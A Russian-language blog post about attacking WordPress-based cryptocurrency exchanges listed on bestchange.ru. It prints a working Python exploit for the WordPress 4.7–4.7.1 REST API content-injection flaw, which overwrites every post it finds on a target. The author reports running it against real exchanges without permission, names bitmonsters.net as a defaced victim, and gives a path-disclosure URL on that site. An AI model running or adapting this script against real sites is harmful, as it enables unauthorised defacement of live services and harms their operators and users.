Security Idiot

pic.php%00png

Обенники, котовые вы любите

Почти каждый, кто хоть раз менял валюту онлайн, обращался к “авторитетным” и “проверенным” мониторинговым сервисам, как например этот - bestchange.ru Да, безусловно обменники там практически все проверенные и не вызывают подозрения. Но, например не каждый смотрит на безопасность веб-приложения когда совершает обмен.

Wordpress и premiumbox

Существует ряд плагинов для этой недоcms, которые позволяют расширить функционал недоблога до недообменного сервиса, например - https://pluginu.com/premiumbox/

В сети уже продавались эксплоиты для него, если не ошибаюсь за 10btc и уже успешно проданы.

Сам же wordpress это сплошная дыра, с новой версии которой возникают еще более серьезные уязвимости, причем очень смешные, такие как например “content injection” - https://pluginu.com/premiumbox/

Уязвимые версии 4.7 - 4.7.1, написав небольшой скрипт, я удостоверился что около 70% (70 - Карл!) обменников на bestchange, именно на wordpress, тогда я решил проверить уязвимость на них, написал еще один скрипт, которые внедряет в пост нужный мне контент:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import sys
import validators

class WP():
  def __init__(self, uri=None):
      self.verion = None
      self.vuln_path = '/wp-json/wp/v2/posts/'
      self.detect_version(uri)

  def detect_version(self, uri=None):
      if not validators.url(uri):
          print('incorect uri')
          sys.exit(0)
      # get posts from api wp
      headers = {'user-agent': 'security-idiots/0.0.1', 'content-type':
'application/json; charset=utf8'}
      r = requests.get(uri + self.vuln_path, headers=headers)
      if r.status_code == 200:
          for post in r.json():
              print(post['id'] + '|' + uri)
              payload = {'title': 'security idiots', 'content': 'security 
idiots'}
              requests.post(uri + self.vuln_path + '%s' \
                  % post['id'] + '?id=%s' % post['id'] + 'abc',
params=payload, headers=headers)

      else:
          print(r.status_code)

Было обнаружено ряд обменников с данной уязвиомстью, один из которых bitmonsters.net, и так, у меня это вышло: https://bitmonsters.net/wp-json/wp/v2/posts/1667 enter image description here

enter image description here

Сразу скажу, эфир у них лучше точно не выводить ;)

А тут еще и Path Disclosure

Вот таким образом еще можно в почти каждой версии wordpress узнать пути: https://bitmonsters.net/wp-includes/rss-functions.php enter image description here

Итог

Меняйте бабло только на более проверенных сервисах, которые ни в коем случае не построенны на wordpress…